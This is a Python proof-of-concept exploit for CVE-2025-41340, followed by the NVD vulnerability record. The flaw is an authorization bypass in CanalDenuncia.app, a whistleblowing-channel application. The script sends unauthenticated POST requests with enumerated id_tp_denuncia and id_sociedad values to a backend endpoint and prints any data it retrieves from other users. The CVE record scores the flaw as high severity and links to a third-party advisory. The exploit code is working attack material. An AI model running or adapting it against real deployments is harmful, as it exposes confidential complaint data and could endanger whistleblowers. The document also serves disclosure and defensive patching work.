CVE-2025-41340

import requests import json # CVE-2025-41340 PoC - CanalDenuncia.app Authorization Bypass # Target: /backend/api/buscarTipoDenunciabyId.php # Vulnerability: Broken Access Control - Unauthorized access to other users' data target_url = "http://target.com/backend/api/buscarTipoDenunciabyId.php" # Payload to exploit the authorization bypass vulnerability # Attacker can access other users' information by manipulating id_tp_denuncia and id_sociedad parameters payloads = [ {"id_tp_denuncia": "1", "id_sociedad": "1"}, {"id_tp_denuncia": "2", "id_sociedad": "1"}, {"id_tp_denuncia": "1", "id_sociedad": "2"}, ] print("[*] CVE-2025-41340 PoC - Testing CanalDenuncia.app Authorization Bypass") print("[*] Target:", target_url) print("=" * 60) for i, payload in enumerate(payloads, 1): print(f"\n[*] Test Case {i}: Testing id_tp_denuncia={payload['id_tp_denuncia']}, id_sociedad={payload['id_sociedad']}") # Send POST request without authentication try: response = requests.post(target_url, data=payload, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)} bytes") if response.status_code == 200: try: json_response = response.json() if json_response: print(f"[!] VULNERABLE: Successfully accessed data without authorization") print(f"[+] Response Data: {json.dumps(json_response, indent=2, ensure_ascii=False)}") except json.JSONDecodeError: print(f"[+] Response: {response.text[:500]}") else: print(f"[-] Request failed with status {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") print("\n[*] PoC execution completed") print("[*] Note: No authentication required to exploit this vulnerability")

{"cve": {"id": "CVE-2025-41340", "sourceIdentifier": "[email protected]", "published": "2025-11-04T14:15:35.993", "lastModified": "2025-11-05T17:03:21.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A lack of authorisation vulnerability has been detected in CanalDenuncia.app. This vulnerability allows an attacker to access other users' information by sending a POST through the parameters 'id_tp_denuncia' and 'id_sociedad' in '/backend/api/buscarTipoDenunciabyId.php'."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:canaldenuncia:canaldenuncia.app:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.4.8", "matchCriteriaId": "D01A84B8-616B-48DE-B0C2-1DEAD4BB5B22"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-canaldenunciaapp", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}